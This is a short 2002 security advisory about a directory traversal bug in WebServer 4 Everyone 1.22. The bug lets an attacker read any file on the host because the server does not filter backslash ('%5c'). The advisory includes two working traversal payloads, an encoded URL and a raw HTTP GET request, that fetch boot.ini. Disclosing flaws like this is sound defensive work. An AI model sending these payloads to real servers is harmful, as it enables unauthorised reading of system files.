     WebServer 4 Everyone directory traversal bug
 -----------------------------------------------------

Name:      WebServer 4 Everyone directory traversal bug
Date:                                        28.08.2002
Author:   UkR-XblP/ UkR security team/ http://ust.dp.ua
Application:         WebServer 4 Everyone Version: 1.22 
URL:                            http://www.freeware.lt/
Risk: An attacker can view every file in the remote sys
About:   WebServer 4 Everyone is a commercial webserver
                            that runs on Win32 systems.
Bug:  problem is caused by the character '\' (%5c) that
      is not checked as bad character, so the server 
      follow the path in the URI that the attacker give
      until it reach the file requested.
Exploits: 
     http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
              or GET /\..\..\..\..\..\boot.ini HTTP/1.0
     This last is an HTTP request that can be sent with
telnet because some browsers can modify the "\.." chars.
